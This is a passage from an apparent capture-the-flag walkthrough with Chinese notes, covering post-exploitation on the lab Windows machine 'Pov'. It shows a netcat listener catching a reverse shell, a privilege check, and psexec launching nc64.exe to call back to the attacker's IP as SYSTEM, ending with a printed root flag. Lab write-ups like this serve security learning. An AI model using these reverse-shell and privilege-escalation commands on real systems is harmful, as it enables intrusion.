[*] Warning: User profile directory for user redpen does not exists. Use --forceprofile
if you want to force the creation.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-7231f$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with
pid 2056 created in background.
收到反弹 shell
sudo rlwrap -cAr nc -lvnp 443
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.230.183] 49698
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
pov\redpen
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description
State
=========================================
================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process
Disabled
SeSecurityPrivilege Manage auditing and security log
Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects
Disabled
SeLoadDriverPrivilege Load and unload device drivers
Disabled
SeSystemProfilePrivilege Profile system performance
Disabled
SeSystemtimePrivilege Change the system time
Disabled
SeProfileSingleProcessPrivilege Profile single process
Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority
Disabled
SeCreatePagefilePrivilege Create a pagefile
Disabled
SeBackupPrivilege Back up files and directories
Disabled
SeRestorePrivilege Restore files and directories
Disabled
SeShutdownPrivilege Shut down the system
Disabled
SeDebugPrivilege Debug programs
Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values
Disabled
SeChangeNotifyPrivilege Bypass traverse checking
Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system
Disabled
SeUndockPrivilege Remove computer from docking station
Disabled
SeManageVolumePrivilege Perform volume maintenance tasks
Disabled
SeImpersonatePrivilege Impersonate a client after authentication
Enabled
SeCreateGlobalPrivilege Create global objects
Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set
Disabled
SeTimeZonePrivilege Change the time zone
Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links
[any]
Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another
user in the same session Disabled
PS C:\Windows\system32> gc c:\users\administrator\desktop\root.txt
gc c:\users\administrator\desktop\root.txt
10e81a229bcf51282aaa520f0622b37e
提高权限到 nt authority\system
sudo rlwrap -cAr nc -lvnp 443
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.230.183] 49710
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
pov\redpen
PS C:\Windows\system32> c:\programdata\apps\psexec64.exe -accepteula -i -s cmd.exe /c
"C:\programdata\nc64.exe 10.10.16.21 443 -e powershell.exe"
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting cmd.exe on POV...vice on POV...m...
获得的 shell 就是 nt authority\system 了
提权到 system
sudo rlwrap -cAr nc -lvnp 443
password for kali:
listening on 443 ...
connect to [10.10.16.21] from (UNKNOWN) [10.129.230.183] 49713
whoami
nt authority\system
PS C:\Windows\system32> hostname;ipconfig
pov
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1a4
IPv6 Address. . . . . . . . . . . : dead:beef::f55b:a6c2:35a0:4b34
Link-local IPv6 Address . . . . . : fe80::cb19:8b33:fa28:c88f%4
IPv4 Address. . . . . . . . . . . : 10.129.230.183
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:acf1%4
10.129.0.1
搜索一下 flag
PS C:\Windows\system32> gci C:\Users\ -Filter *.txt -File -Recurse
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/17/2024 7:23 AM 34 root.txt
Directory: C:\Users\alaading\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 10/17/2024 7:23 AM 34 user.txt
获得 root flag
浙公网安备 33010602011771号